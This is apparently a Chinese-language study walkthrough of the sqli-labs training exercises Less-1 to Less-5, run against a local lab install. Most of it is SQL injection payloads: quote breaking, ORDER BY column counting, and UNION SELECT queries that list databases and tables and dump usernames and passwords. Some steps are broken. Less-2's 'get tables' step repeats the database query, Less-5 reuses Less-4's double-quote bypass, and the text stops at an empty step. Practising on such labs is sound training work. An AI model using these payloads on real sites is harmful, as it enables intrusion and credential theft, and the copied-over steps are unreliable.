less-1 基于错误的单引号字符串
- 正常访问
http://127.0.0.1/sqli-labs/Less-1/?id=1
1. 判断是否存在注入,注入是字符型还是数字型
- 添加 '
返回报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
- 添加 ' --+
不报错
2. 猜解SQL查询语句中的字段数
- 使用 1' order by 3 --+
得到列数为3
3. 确定显示的字段顺序
- 使用union 获取admin和password
-1 的作用是查询不存在的值,使得结果为空
-1 ' union select 1,2,3 --+ // 确定可以显示到页面的位置
4. 获取当前数据库
-1 ' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ // 得到数据库名 或 通过database() 获取数据库名
5. 获取数据库中的表
-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+
6. 获取表中的字段名
-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
7. 获取用户数据
-1 ' union select 1,2,group_concat(username," ",password) from users --+
Less-2 基于错误的get整型注入
- 正常访问
http://127.0.0.1/sqli-labs/Less-2/?id=1
1. 判断是否存在注入,注入是字符型还是数字型
- http://127.0.0.1/sqli-labs/Less-2/?id=1' 报错
- http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1 不报错
- http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2 无返回结果
数字型注入
2. 猜解SQL查询语句中的字段数
http://127.0.0.1/sqli-labs/Less-2/?id=1%20order by 3 页面正常
http://127.0.0.1/sqli-labs/Less-2/?id=1%20order by 4 页面报错
列数为3
3. 确定显示的字段顺序
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,3
显示的是2,3列
4. 获取当前数据库
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata// 得到数据库名 或 通过database() 获取数据库名
5. 获取数据库中的表
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
6. 获取表中的字段名
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'
7. 获取用户数据
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(username," ",password) from users
Less-3 基于错误的get单引号变形字符型注入
- 正常访问
http://127.0.0.1/sqli-labs/Less-3/?id=1
- 绕过
id=1') --+
- 获取数据
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
-1') union select 1,2,group_concat(username," ",password) from users --+
Less-4 基于错误的GET双引号字符型注入
- 正常访问
http://127.0.0.1/sqli-labs/Less-4/?id=1
- 绕过
id=2") or 1=1 --+
- 获取数据
-1") union select 1,2,database() --+
-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= database() --+
-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name= 'users' --+
-1") union select 1,2,group_concat(username," ",password) from users --+
Less-5 双注入GET单引号字符型注入
- 正常访问
http://127.0.0.1/sqli-labs/Less-5/?id=1
- 绕过
id=2") or 1=1 --+
- 获取数据